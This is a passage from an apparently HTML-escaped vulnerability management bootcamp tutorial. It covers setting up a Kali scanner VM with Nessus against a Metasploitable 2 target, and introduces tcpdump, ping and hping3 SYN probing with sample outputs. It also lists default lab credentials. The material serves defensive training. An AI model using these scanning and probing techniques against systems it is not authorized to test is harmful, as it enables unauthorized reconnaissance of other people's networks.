  &lt;li&gt;An Internet-accessible compute environment (e.g. computer, &lt;a href=&quot;https://aws.amazon.com/ec2/&quot;&gt;AWS&lt;/a&gt;, &lt;a href=&quot;https://azure.microsoft.com/en-us/services/virtual-machines/&quot;&gt;Azure&lt;/a&gt;, etc…) capable of running &lt;strong&gt;two&lt;/strong&gt; &lt;a href=&quot;https://www.howtogeek.com/196060/beginner-geek-how-to-create-and-use-virtual-machines/&quot;&gt;virtual machines&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;If using a traditional &lt;em&gt;computer&lt;/em&gt;, you’ll need a virtualization &lt;a href=&quot;https://www.vmware.com/topics/glossary/content/hypervisor&quot;&gt;hypervisor&lt;/a&gt; tool such as &lt;a href=&quot;https://www.vmware.com/products/workstation-player.html&quot;&gt;VMware&lt;/a&gt;, &lt;a href=&quot;https://www.virtualbox.org&quot;&gt;VirtualBox&lt;/a&gt;, or &lt;a href=&quot;https://www.parallels.com&quot;&gt;Parallels&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;A &lt;a href=&quot;https://www.linux.org&quot;&gt;Linux&lt;/a&gt; VM (use a &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_Linux_distributions&quot;&gt;distribution&lt;/a&gt; of your choice - I personally recommend &lt;a href=&quot;https://www.kali.org/downloads/&quot;&gt;Kali Linux&lt;/a&gt; or &lt;a href=&quot;https://ubuntu.com/download/desktop&quot;&gt;Ubuntu&lt;/a&gt;). *&lt;em&gt;The lab exercises will be done using&lt;/em&gt; &lt;strong&gt;Kali&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;A &lt;em&gt;free&lt;/em&gt; license key for &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-essentials&quot;&gt;Nessus Essentials&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;A copy of &lt;a href=&quot;https://information.rapid7.com/download-metasploitable-2017.html&quot;&gt;Metasploitable 2&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;bootcamp-lab-exercises&quot;&gt;Bootcamp Lab Exercises&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-0-lab-setup&quot;&gt;Exercise 0: Lab Setup&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-1-network-tools-primer&quot;&gt;Exercise 1: Network Tools Primer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-2-discovery-scanning&quot;&gt;Exercise 2: Discovery Scanning&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-3-vulnerability-scanning&quot;&gt;Exercise 3: Vulnerability Scanning&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-4-scanning-enrichment&quot;&gt;Exercise 4: Scanning Enrichment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-5-reviewinganalyzing-results&quot;&gt;Exercise 5: Reviewing/Analyzing Results&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-6-reporting&quot;&gt;Exercise 6: Reporting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exercise-7-scripting--automation&quot;&gt;Exercise 7: Scripting &amp;amp; Automation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;#lab-exercise-answers&quot;&gt;Bootcamp Lab Exercise Answers&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-0-lab-setup&quot;&gt;Exercise 0: Lab Setup&lt;/h2&gt;
&lt;p&gt;First, let’s get our lab environment set up so we can proceed through the bootcamp exercises.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;To start, we need to download a virtualization hypervisor such as &lt;a href=&quot;https://www.vmware.com/products/workstation-player.html&quot;&gt;VMware&lt;/a&gt;, &lt;a href=&quot;https://www.virtualbox.org&quot;&gt;VirtualBox&lt;/a&gt;, or &lt;a href=&quot;https://www.parallels.com&quot;&gt;Parallels&lt;/a&gt;. I will be using &lt;a href=&quot;https://www.vmware.com/products/fusion.html&quot;&gt;VMware Fusion&lt;/a&gt; during the exercises.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Once the virtualization tool is downloaded and installed, we need to acquire a VM which will host our &lt;em&gt;scanning tool&lt;/em&gt; and effectively be the &lt;strong&gt;scanner&lt;/strong&gt; host. For this, I recommend a &lt;a href=&quot;https://www.linux.org&quot;&gt;Linux&lt;/a&gt; variant such as &lt;a href=&quot;https://www.kali.org/downloads/&quot;&gt;Kali Linux&lt;/a&gt; or &lt;a href=&quot;https://ubuntu.com/download/desktop&quot;&gt;Ubuntu&lt;/a&gt;. I will be using Kali (64-bit) throughout the exercises. &lt;a href=&quot;https://www.offensive-security.com&quot;&gt;Offensive Security&lt;/a&gt; actually maintains &lt;a href=&quot;https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/&quot;&gt;VMware and VirtualBox-specific Kali images&lt;/a&gt; which I recommend using.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;*If you’ve downloaded the pre-configured &lt;em&gt;.vmwarevm&lt;/em&gt; from Offensive Security, you can simply double-click the (un-zipped) file and it should open up in VMware with no other setup required.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Otherwise, once we have downloaded the VM, we need to unpack, install and perform the initial setup of the VM within our virtualization tool. &lt;a href=&quot;https://www.kali.org/docs/virtualization/install-vmware-guest-vm/&quot;&gt;Here is a guide for installing Kali inside VMware&lt;/a&gt;. When asked to &lt;em&gt;name&lt;/em&gt; the VM, give it an appropriate name such as “Scanner”. I recommend giving it as much RAM and CPU as you can spare. Scanning can be somewhat resource-intensive so the more power the VM has the better. &lt;strong&gt;Keep in mind&lt;/strong&gt;, you will also need to run a second VM simultaneously so don’t spend all your computer’s resources in one place! The pre-configured &lt;em&gt;.vmwarevm&lt;/em&gt; image from Offensive Security has 2GB RAM, and 80GB virtual hard drive, I think this is sufficient for this exercise.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To start, have the VM configured in &lt;strong&gt;&lt;a href=&quot;https://www.vmware.com/support/ws5/doc/ws_net_configurations_nat.html&quot;&gt;NAT&lt;/a&gt;&lt;/strong&gt; mode (a.k.a. “&lt;a href=&quot;https://docs.vmware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/GUID-E498672E-19DD-40DF-92D3-FC0078947958.html&quot;&gt;Share with my Mac&lt;/a&gt;” on Mac devices). This is to ensure that the Kali VM is able to download updates and additional tools needed for the &lt;a href=&quot;#bootcamp-lab-exercises&quot;&gt;bootcamp exercises&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To initially get into our Kali instance, use the credentials &lt;em&gt;kali&lt;/em&gt; / &lt;em&gt;kali&lt;/em&gt;. I recommend &lt;strong&gt;immediately&lt;/strong&gt; changing your &lt;em&gt;kali&lt;/em&gt; user password. Here is a &lt;a href=&quot;https://linuxize.com/post/how-to-change-user-password-in-linux/&quot;&gt;guide on how to change a Linux password&lt;/a&gt;. Once this is done, run &lt;em&gt;sudo apt-get update&lt;/em&gt; and then &lt;em&gt;sudo apt-get upgrade&lt;/em&gt; (typing “Y” to confirm the upgrade) to update your system tools to the latest versions. This may take a few minutes to complete.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Now that our &lt;em&gt;scanner&lt;/em&gt; VM base image is set up and ready to go, we need to register for a &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-essentials&quot;&gt;Nessus Essentials&lt;/a&gt; activation code. Once submitting your registration, you should receive an email from &lt;em&gt;no-reply@tenable.com&lt;/em&gt; with your License key and a button-&lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-plugins/thank-you-for-registering&quot;&gt;link to download Nessus&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Within Kali, open the Nessus download link which will take you to the &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-plugins/thank-you-for-registering&quot;&gt;Nessus downloads page&lt;/a&gt;. Find the &lt;em&gt;Nessus-[current.version]-debian[X]_amd64.deb&lt;/em&gt; Nessus binary (which is suited for &lt;a href=&quot;https://www.debian.org&quot;&gt;Debian&lt;/a&gt; 9, 10 and a variety of Kali Linux versions). Click “I Agree” on the License Agreement and save the file directly to your Kali host.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To install Nessus, follow the &lt;a href=&quot;https://docs.tenable.com/nessus/Content/Install.htm&quot;&gt;appropriate guide Tenable has provided&lt;/a&gt;. If you are using Kali, &lt;a href=&quot;https://docs.tenable.com/nessus/Content/InstallNessusLinux.htm&quot;&gt;use this guide&lt;/a&gt;. Navigate to the directory you downloaded the Nessus binary to and run the following command.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;dpkg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; Nessus-&amp;lt;version number&amp;gt;-debian6_amd64.deb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Once installed, start the Nessus scanner service &lt;em&gt;nessusd&lt;/em&gt; by running…&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;service nessusd start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;…and then verify it is running using the following command…&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;service nessusd status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Now, you can navigate to &lt;em&gt;https://kali:8834/&lt;/em&gt;. &lt;em&gt;You may need to click through a certificate-related security warning within the &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/new/&quot;&gt;Kali browser&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Once on the Nessus web-server, you should see a wizard for installing a variety of different Nessus versions. Select “Nessus Essentials” and proceed with installing Nessus using &lt;a href=&quot;https://docs.tenable.com/nessus/Content/InstallNessusEssentialsProfessionalOrManager.htm&quot;&gt;this guide&lt;/a&gt;. The installation may take some time as it needs to download and compile a large database of &lt;a href=&quot;https://www.tenable.com/plugins&quot;&gt;Nessus plugins&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;While Nessus initializes, let’s make sure we have all the other utilities needed for the lab exercises. We’ll need to ensure we have &lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt;, &lt;a href=&quot;https://www.tcpdump.org&quot;&gt;tcpdump&lt;/a&gt;, &lt;a href=&quot;https://tools.kali.org/information-gathering/hping3&quot;&gt;hping3&lt;/a&gt;, &lt;a href=&quot;https://linux.die.net/man/8/ping&quot;&gt;ping&lt;/a&gt; and &lt;a href=&quot;https://linux.die.net/man/8/traceroute&quot;&gt;traceroute&lt;/a&gt;. Kali Linux comes with all of these tools so no additional setup is needed.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The &lt;em&gt;target&lt;/em&gt; system we will be scanning with our &lt;em&gt;Nessus-infused&lt;/em&gt; Kali machine will be a &lt;a href=&quot;https://docs.rapid7.com/metasploit/metasploitable-2/&quot;&gt;Metasploitable 2&lt;/a&gt; VM. This VM can be &lt;a href=&quot;https://information.rapid7.com/metasploitable-download.html&quot;&gt;downloaded here&lt;/a&gt;. Once downloaded and un-zipped, you can double-click on the &lt;em&gt;Metasploitable.vmx&lt;/em&gt; file to have it open directly in VMware.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;With Metasploitable running, login to the system (defaults creds are &lt;em&gt;msfadmin&lt;/em&gt; / &lt;em&gt;msfadmin&lt;/em&gt;) and run &lt;em&gt;ifconfig&lt;/em&gt; to see what the IP address is. Similarly, get the IP address of your kali instance by running &lt;em&gt;ipconfig&lt;/em&gt; locally on &lt;em&gt;that&lt;/em&gt; machine. With both IPs in-hand, you can test connectivity between them using the following command. Be sure to test connectivity in &lt;em&gt;both&lt;/em&gt; directions! You’ll know if the connection is working if you see “&lt;em&gt;1 packets transmitted, 1 received…&lt;/em&gt;” in the output from the command below.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ping &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 TARGET_IP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;For more info and tips on Metasploitable, check out this &lt;a href=&quot;https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/&quot;&gt;guide by HD Moore&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;exercise-0-questions&quot;&gt;Exercise 0 Questions&lt;/h3&gt;

&lt;h6 id=&quot;question-01&quot;&gt;Question 0.1&lt;/h6&gt;
&lt;p&gt;What are the default credentials for Kali and Metasploitable 2? How would you change a user’s password on either of these systems? –&amp;gt; &lt;a href=&quot;#answer-01&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-02&quot;&gt;Question 0.2&lt;/h6&gt;
&lt;p&gt;How can you update &lt;a href=&quot;https://www.kali.org&quot;&gt;Kali Linux&lt;/a&gt;? –&amp;gt; &lt;a href=&quot;#answer-02&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-03&quot;&gt;Question 0.3&lt;/h6&gt;
&lt;p&gt;What is &lt;em&gt;Network Address Translation&lt;/em&gt;? –&amp;gt; &lt;a href=&quot;#answer-03&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-04&quot;&gt;Question 0.4&lt;/h6&gt;
&lt;p&gt;In what ways can you interact with (e.g. start, stop, restart, check status of) system services (such as &lt;em&gt;nessusd&lt;/em&gt;) on Linux? –&amp;gt; &lt;a href=&quot;#answer-04&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;h6 id=&quot;question-05&quot;&gt;Question 0.5&lt;/h6&gt;
&lt;p&gt;What is the default number of ICMP requests made by the Linux &lt;em&gt;ping&lt;/em&gt; utility (e.g. &lt;em&gt;ping 172.16.84.2&lt;/em&gt;)? –&amp;gt; &lt;a href=&quot;#answer-05&quot;&gt;Answer&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OK&lt;/strong&gt;! We have now finished the lab setup exercise. Let’s move on to the next step.&lt;/p&gt;

&lt;hr style=&quot;width:75%&quot; /&gt;

&lt;h2 id=&quot;exercise-1-network-tools-primer&quot;&gt;Exercise 1: Network Tools Primer&lt;/h2&gt;

&lt;p&gt;Before we proceed to the &lt;em&gt;&lt;a href=&quot;#exercise-2-discovery-scanning&quot;&gt;scanning&lt;/a&gt;&lt;/em&gt; sections of the lab, let’s take a quick sojourn into a few basic network utilities and how we would use them for basic &lt;a href=&quot;#vm-engineering&quot;&gt;VM engineering&lt;/a&gt; and troubleshooting.&lt;/p&gt;

&lt;h5 id=&quot;network-tools&quot;&gt;Network Tools&lt;/h5&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#tcpdump&quot;&gt;tcpdump&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ping&quot;&gt;ping&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hping3&quot;&gt;hping3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#traceroute&quot;&gt;traceroute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#nmap&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;tcpdump&quot;&gt;&lt;a href=&quot;https://www.tcpdump.org&quot;&gt;tcpdump&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;&lt;em&gt;Tcpdump&lt;/em&gt; is an excellent tool for network troubleshooting, something you may find yourself doing quite a bit as a VM &lt;a href=&quot;#vm-analysis&quot;&gt;analyst&lt;/a&gt;/&lt;a href=&quot;#vm-engineering&quot;&gt;engineer&lt;/a&gt;. I won’t cover &lt;em&gt;Tcpdump&lt;/em&gt; in-depth but I think &lt;a href=&quot;https://danielmiessler.com/study/tcpdump/&quot;&gt;this guide by Daniel Miessler&lt;/a&gt; is worth reading. I recommend going through at least the first six sections of that writeup (up to “Show Traffic by Protocol”). Let’s go through a quick exercise to demonstrate the power of &lt;em&gt;Tcpdump&lt;/em&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;On your Kali instance, open two terminal windows side-by-side. In one terminal window, run the following &lt;em&gt;tcpdump&lt;/em&gt; command. &lt;em&gt;You will need to run it as root for it to work&lt;/em&gt;. Replace &lt;em&gt;METASPLOITABLE_IP&lt;/em&gt; with the IP of your Metasploitable 2 instance.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;tcpdump &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; eth0 &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; host METASPLOITABLE_IP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;…in the second terminal window, run the following &lt;em&gt;hping3&lt;/em&gt; command (we’ll cover &lt;em&gt;hping3&lt;/em&gt; in more detail shortly) What this command does is send a single TCP &lt;em&gt;SYN&lt;/em&gt; to port 22 on the Metasploitable system.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;hping3 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 22 &lt;span class=&quot;nt&quot;&gt;-S&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 METASPLOITABLE_IP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;What you’ll see as the immediate output of this command is shown below… &lt;em&gt;Essentially&lt;/em&gt;, &lt;em&gt;hping3&lt;/em&gt; is letting us know that it sent the &lt;em&gt;SYN&lt;/em&gt; (as denoted by the “-S” in the &lt;em&gt;hping3&lt;/em&gt; command) and received a &lt;em&gt;SYN&lt;/em&gt;/&lt;em&gt;ACK&lt;/em&gt; (as denoted by the “…flags=SA…”) from the Metasploitable box. &lt;em&gt;Great&lt;/em&gt;!&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HPING 172.16.84.3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;eth0 172.16.84.3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: S &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt;, 40 headers + 0 data bytes
&lt;span class=&quot;nv&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;46 &lt;span class=&quot;nv&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;172.16.84.3 &lt;span class=&quot;nv&quot;&gt;ttl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;64 DF &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;nv&quot;&gt;sport&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;22 &lt;span class=&quot;nv&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;SA &lt;span class=&quot;nb&quot;&gt;seq&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;nv&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5840 &lt;span class=&quot;nv&quot;&gt;rtt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;11.8 ms

&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; 172.16.84.3 hping statistic &lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 11.8/11.8/11.8 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Moving back to the &lt;em&gt;tcpdump&lt;/em&gt; window we see the following output. From this output, we can see the initial &lt;em&gt;SYN&lt;/em&gt; (as denoted by the “S” flag in &lt;em&gt;Flags [S]&lt;/em&gt;), sent from our Kali instance to the Metasploitable system. Then, we see two records after that, one with the flags “[S.]” and another with the flags “[R]”. The second record is the response &lt;em&gt;SYN/ACK&lt;/em&gt; from the &lt;em&gt;SSH&lt;/em&gt; service listening on the Metasploitable system. The third record is &lt;em&gt;hping3&lt;/em&gt; gracefully closing out the connection with an &lt;em&gt;RST&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;listening on eth0, link-type EN10MB &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ethernet&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, snapshot length 262144 bytes
14:44:11.987603 IP 172.16.84.2.1662 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.22: Flags &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;S], &lt;span class=&quot;nb&quot;&gt;seq &lt;/span&gt;2133837101, win 512, length 0
14:44:11.988190 IP 172.16.84.3.22 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.2.1662: Flags &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;S.], &lt;span class=&quot;nb&quot;&gt;seq &lt;/span&gt;1870315893, ack 2133837102, win 5840, options &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;mss 1460], length 0
14:44:11.988206 IP 172.16.84.2.1662 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 172.16.84.3.22: Flags &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;R], &lt;span class=&quot;nb&quot;&gt;seq &lt;/span&gt;2133837102, win 0, length 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, there is more than meets the eye when it comes to network traffic and tool output. &lt;em&gt;Tcpdump&lt;/em&gt; is a great way for us to see exactly what is happening “under the hood”. I &lt;strong&gt;highly&lt;/strong&gt; encourage you to open up &lt;em&gt;Tcpdump&lt;/em&gt; and capture traffic in a variety of different situations - troubleshooting, trying out a new tool, etc… You will learn a lot about how a tool works by inspecting the traffic it generates.&lt;/p&gt;

&lt;h6 id=&quot;ping&quot;&gt;&lt;a href=&quot;https://linux.die.net/man/8/ping&quot;&gt;ping&lt;/a&gt;&lt;/h6&gt;

&lt;p&gt;There’s not much to discuss with &lt;em&gt;ping&lt;/em&gt; but it is worth mentioning here in the event that you are unfamiliar with what it is and how to use it. &lt;em&gt;ping&lt;/em&gt; is a routinely used tool for diagnosing network connections. It sends an ICMP echo request and expects an ICMP echo reply. If you get a reply, this means the target IP is routable (at least using ICMP) and if you don’t get the reply, it &lt;em&gt;may not&lt;/em&gt; be routable. The command below demonstrates a ping from my Kali box to the Metasploitable box.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ping &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 172.16.84.3   
PING 172.16.84.3 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;172.16.84.3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; 56&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;84&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; bytes of data.
64 bytes from 172.16.84.3: &lt;span class=&quot;nv&quot;&gt;icmp_seq&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nv&quot;&gt;ttl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;64 &lt;span class=&quot;nb&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0.537 ms

&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; 172.16.84.3 ping statistics &lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
1 packets transmitted, 1 received, 0% packet loss, &lt;span class=&quot;nb&quot;&gt;time &lt;/span&gt;0ms
rtt min/avg/max/mdev &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0.537/0.537/0.537/0.000 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;ping&lt;/em&gt; is typically one of the first things I will try when troubleshooting network connectivity. Keep in mind! The absence of an ICMP echo reply though &lt;a href=&quot;#question-12&quot;&gt;does not necessarily mean a machine is not routable&lt;/a&gt;.&lt;/p&gt;

&lt;h6 id=&quot;hping3&quot;&gt;&lt;a href=&quot;https://tools.kali.org/information-gathering/hping3&quot;&gt;hping3&lt;/a&gt;&lt;/h6&gt;
&lt;p&gt;&lt;em&gt;hping3&lt;/em&gt;, similar to the classic &lt;em&gt;&lt;a href=&quot;#ping&quot;&gt;ping&lt;/a&gt;&lt;/em&gt; utility is a network tool built for troubleshooting - but really has &lt;em&gt;much more&lt;/em&gt; functionality. Using &lt;em&gt;hping3&lt;/em&gt; you can custom-build ICMP, UDP and TCP packets to an exact specification and then fire them off to test firewalls, perform port scanning, fingerprint OS’s and &lt;em&gt;a lot&lt;/em&gt; more. &lt;em&gt;hping3&lt;/em&gt; is similar in some ways to &lt;em&gt;&lt;a href=&quot;#Nmap&quot;&gt;Nmap&lt;/a&gt;&lt;/em&gt; but much lighter-weight which makes it particularly good for quick troubleshooting.&lt;/p&gt;

&lt;p&gt;To get started, I recommend reviewing the &lt;em&gt;hping3&lt;/em&gt; “&lt;a href=&quot;https://man7.org/linux/man-pages/man1/man.1.html&quot;&gt;man page&lt;/a&gt;” to get a better idea of its capabilities and the flags required to invoke different functionality.&lt;/p&gt;

&lt;p&gt;OK, now let’s get an idea of the listening services on the Metasploitable box. We can do so by running “&lt;a href=&quot;https://www.howtogeek.com/513003/how-to-use-netstat-on-linux/&quot;&gt;netstat&lt;/a&gt; -tulpn” on the Metasploitable host.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vm-bootcamp/netstat.png&quot; alt=&quot;netstat&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the output of the &lt;em&gt;netstat&lt;/em&gt; command, we can see there are quite a few listening services. Moving over to the Kali &lt;em&gt;scanner&lt;/em&gt; host, we can use the &lt;em&gt;hping3&lt;/em&gt; command below to verify whether services are reachable from our scan host. The command below demonstrates that TCP port 53 on the Metasploitable is responding to &lt;em&gt;SYN&lt;/em&gt; packets from our &lt;em&gt;scanner&lt;/em&gt; host.&lt;/p&gt;

